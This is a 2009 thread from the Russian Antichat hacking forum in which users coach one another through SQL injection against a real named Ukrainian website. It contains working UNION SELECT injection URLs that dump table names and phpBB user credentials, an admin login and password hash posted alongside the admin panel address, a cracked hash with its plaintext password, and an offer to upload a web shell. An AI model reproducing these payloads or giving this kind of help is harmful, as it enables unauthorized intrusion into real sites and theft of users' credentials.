ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4571  
Старый 11.01.2009, 08:06
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

Цитата:
Сообщение от Octave_Parango  
R1dex, уже пробовал, не катит. хммммм...
Даже не знаю..
Может там две таблицы admin? Одна лежит в бд к которой ты подключен, но в ней нет колонок "admin_user","admin_password".
А вторая в другой бд и в ней как раз эти колонки?
Маловероятно, конечно, но вдруг ^^

А вообще - лучше линк выкладывать...
 
Ответить с цитированием

  #4572  
Старый 11.01.2009, 08:43
vakula
Познающий
Регистрация: 20.01.2008
Сообщений: 44
Провел на форуме:
103485

Репутация: 4
По умолчанию

Ребята, такой вопрос. Нашол таблицу phpbb_users, при запросе
http://www.cdma.kh.ua/articles/index.php?view=article&id=-999%20union%20select%201,column_name,3+from+inform ation_schema.columns+where+table_name=%27phpbb_use rs%27+limit+1,1
выбивало ошибку, прочитал весь форум, понял, нада закодирывать...кодирнул в чар...выдаёт тупо пустую страницу....В чём моя ошибка....подскажите плиз..всю ночь просидел.
 
Ответить с цитированием

  #4573  
Старый 11.01.2009, 08:49
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

Возможно, ты кодируешь 'phpbb_users', а нужно phpbb_users. (без кавычек)

Код:
http://www.cdma.kh.ua/articles/index.php?view=article&id=-999%20union%20select%201,column_name,3+from+information_schema.columns+where+table_name=0x70687062625f7573657273+limit+1,1--
 
Ответить с цитированием

  #4574  
Старый 11.01.2009, 08:52
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

vakula
Цитата:
http://www.cdma.kh.ua/articles/index.php?view=article&id=-999+union+select+1,concat_ws(0x3a,username,user_pa ssword),3+from+phpbb_users+where+user_level=1+limi t+0,1
разшифруеш один из двух хешей залью тебе шелл )

по поводу 1 вопроса дай линк гляну..

Последний раз редактировалось sabe; 11.01.2009 в 09:00..
 
Ответить с цитированием

  #4575  
Старый 11.01.2009, 08:57
vakula
Познающий
Регистрация: 20.01.2008
Сообщений: 44
Провел на форуме:
103485

Репутация: 4
По умолчанию

Всем спасибо.....обидно...я просто не внимательный
 
Ответить с цитированием

  #4576  
Старый 11.01.2009, 09:30
vakula
Познающий
Регистрация: 20.01.2008
Сообщений: 44
Провел на форуме:
103485

Репутация: 4
По умолчанию

Цитата:
Сообщение от sabe  
vakula

разшифруеш один из двух хешей залью тебе шелл )

по поводу 1 вопроса дай линк гляну..
Линк на что?

Я так понимаю хэш нереально розшифривать?
 
Ответить с цитированием

  #4577  
Старый 11.01.2009, 09:50
vakula
Познающий
Регистрация: 20.01.2008
Сообщений: 44
Провел на форуме:
103485

Репутация: 4
По умолчанию

Цитата:
Сообщение от R1dex  
Возможно, ты кодируешь 'phpbb_users', а нужно phpbb_users. (без кавычек)

Код:
http://www.cdma.kh.ua/articles/index.php?view=article&id=-999%20union%20select%201,column_name,3+from+information_schema.columns+where+table_name=0x70687062625f7573657273+limit+1,1--
Подскажи плиз, что можна с пасом зделать?

loginv
pass:e4a1767e13d8cae53abc0a69c5e6c3cd

adminka http://www.cdma.kh.ua/admin
 
Ответить с цитированием

  #4578  
Старый 11.01.2009, 09:51
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

Цитата:
Сообщение от vakula  
Я так понимаю хэш нереально розшифривать?
Почему?

Беря : e73f75e5b7e7924e2949d39762539117 : 21436578
 
Ответить с цитированием

  #4579  
Старый 11.01.2009, 09:57
vakula
Познающий
Регистрация: 20.01.2008
Сообщений: 44
Провел на форуме:
103485

Репутация: 4
По умолчанию

Цитата:
Сообщение от R1dex  
Почему?

Беря : e73f75e5b7e7924e2949d39762539117 : 21436578
Ты кудесник!!! Обьясни ламеру каким образом ты ето сделал. Плиз
 
Ответить с цитированием

  #4580  
Старый 11.01.2009, 10:01
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

F.a.q. - всё о хешах : https://forum.antichat.ru/thread26983.html
On-line cервисы расшифровки md5 : https://forum.antichat.ru/threadnav11028-1-10.html
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ